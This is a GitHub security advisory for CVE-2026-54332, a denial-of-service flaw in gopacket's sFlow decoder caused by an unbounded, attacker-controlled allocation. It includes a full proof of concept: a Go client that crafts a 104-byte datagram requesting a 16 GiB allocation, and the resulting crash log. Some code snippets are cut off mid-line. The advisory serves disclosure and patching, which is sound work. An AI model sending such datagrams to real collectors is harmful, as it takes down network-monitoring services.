GitHub Advisoryadvisory · Go

GHSA-g6v3-7xmc-w563 GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS

MEDIUM Published 2026-07-28 Modified 2026-07-28 Official page ↗
Aliases
CVE-2026-54332
Ecosystem
Go
Packages
github.com/gopacket/gopacket
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Weaknesses
CWE-770
Reviewed
2026-07-28

Affected packages

• Go github.com/gopacket/gopacket: < 1.6.1 → fixed in 1.6.1

Description

Summary The sFlow `ExtendedGatewayFlow` record decoder in `github.com/gopacket/gopacket` allocates a slice with `make([]uint32, n)` where `n` is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770). Root cause (file:line @ v1.6.0) Two sinks in `layers/sflow.go`, both in the `ExtendedGatewayFlow` (record type 1003) decode path: 1. `layers/sflow.go:1306` in `decodeExtendedGatewayFlowRecord`: ```go *data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4]) eg.Communities = make([]uint32, communitiesLength) // communitiesLength is a raw wire uint32, no bound for j := uint32(0); j sink) The registered `LayerTypeSFlow` decoder parses sFlow datagrams from the wire: `SFlowDatagram.DecodeFromBytes` (sflow.go:302) -> `SampleCount` loop -> `decodeFlowSample(expanded=false)` (sflow.go:458) -> `RecordCount` loop -> record format 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go:573) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1284) -> sink at line 1306 (and line 1276 via the `ASPath` -> `decodePath` branch). sFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default)` is equally affected. Impact Unauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation). Proof of Concept This PoC is an end-to-end test against a real deployed sFlow collector. A minimal but realistic UDP collector (built on the public gopacket API, exactly as a real network-telemetry collector would be) runs inside a hard-capped 256 MB container; an independent client process sends a real malicious sFlow datagram over a real UDP socket; the collector process is then observed to die. A benign datagram is used as a negative control. The harness pins `github.com/gopacket/[email protected]` (the sink is confirmed at the v1.6.0 tag, `layers/sflow.go:1306`). Collector (real UDP sFlow collector) ```go // collector.go — binds a UDP socket and, for every datagram, builds a // gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives // the registered sFlow decoder over the attacker-controlled bytes. package main import ( "fmt" "net" "os" "github.com/gopacket/gopacket" "github.com/gopacket/gopacket/layers" ) func main() { udpAddr, _ := net.ResolveUDPAddr("udp4", "0.0.0.0:6343") conn, err := net.ListenUDP("udp4", udpAddr) if err != nil { fmt.Fprintf(os.Stderr, "listen error: %v\n", err) os.Exit(1) } defer conn.Close() fmt.Printf("[collector] sFlow collector listening on udp %s\n", conn.LocalAddr()) buf := make([]byte, 65535) for { n, src, err := conn.ReadFromUDP(buf) if err != nil { continue } datagram := make([]byte, n) copy(datagram, buf[:n]) fmt.Printf("[collector] received %d-byte datagram from %s\n", n, src) pkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default) if dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok { fmt.Printf("[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\n", dg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples)) } else { fmt.Printf("[collector] no sFlow layer decoded\n") } } } ``` Client (independent process, real UDP socket, no gopacket dependency) The client crafts a well-formed sFlow v5 datagram with one FlowSample carrying one ExtendedGatewayFlow (record type 1003) record and sets only its `communitiesLength` field. For the benign case it appends real community words plus the trailing LocalPref word so the record decodes cleanly. ```go // client.go — usage: client [--benign] package main import ( "encoding/binary" "fmt" "net" "os" "strconv" ) func u32(b *[]byte, v uint32) { t := make([]byte, 4) binary.BigEndian.PutUint32(t, v) *b = append(*b, t...) } func buildDatagram(commLen uint32, benign bool) []byte { var d []byte u32(&d, 5); u32(&d, 1); u32(&d, 0x7f000001); u32(&d, 0); u32(&d, 0); u32(&d, 0) u32(&d, 1) // SampleCount = 1 u32(&d, 1) // sample format -> FlowSample u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0) u32(&d, 1) // RecordCount = 1 u32(&d, 1003) // record format -> ExtendedGatewayFlow u32(&d, 0) // FlowDataLength u32(&d, 1) // gateway address type = IPv4 u32(&d, 0x08080808) // NextHop u32(&d, 0); u32(&d, 0); u32(&d, 0) u32(&d, 0) // ASPathCount = 0 u32(&d, commLen) // communitiesLength -> make([]uint32, commLen) sink if benign { for i := uint32(0); i 3 && os.Args[3] == "--benign" data := buildDatagram(uint32(commLen), benign) raddr, _ := net.ResolveUDPAddr("udp", addr) conn, _ := net.DialUDP("udp", nil, raddr) defer conn.Close() conn.Write(data) fmt.Printf("[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\n", len(data), commLen, benign) } ``` Run and observed result The collector runs under a hard 256 MB cgroup cap with swap disabled (`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and the host is unaffected. Negative control (benign datagram, `communitiesLength=4`): ``` $ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign [client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true) collector log: [collector] received 124-byte datagram from 172.18.0.3:56438 [collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1 collector status: Up (ALIVE); RSS flat at 1.5 MiB ``` Attack (single malicious datagram, `communitiesLength=0xFFFFFFFF`): ``` $ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295 [client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB [client] datagram sent over real UDP socket collector log (verbatim): [collector] received 104-byte datagram from 172.18.0.3:42284 fatal error: runtime: out of memory runtime stack: runtime.throw(...) runtime.sysMapOS(0x61585e800000, 0x400000000, ...) // 0x400000000 = 16 GiB requested runtime.makeslice(...) /usr/local/go/src/runtime/slice.go:117 github.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...) /go/pkg/mod/github.com/gopacket/gopacket…

Related

Alias · CVE (1)

  • CVE-2026-54332 gopacket provides packet processing capabilities for Go. vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References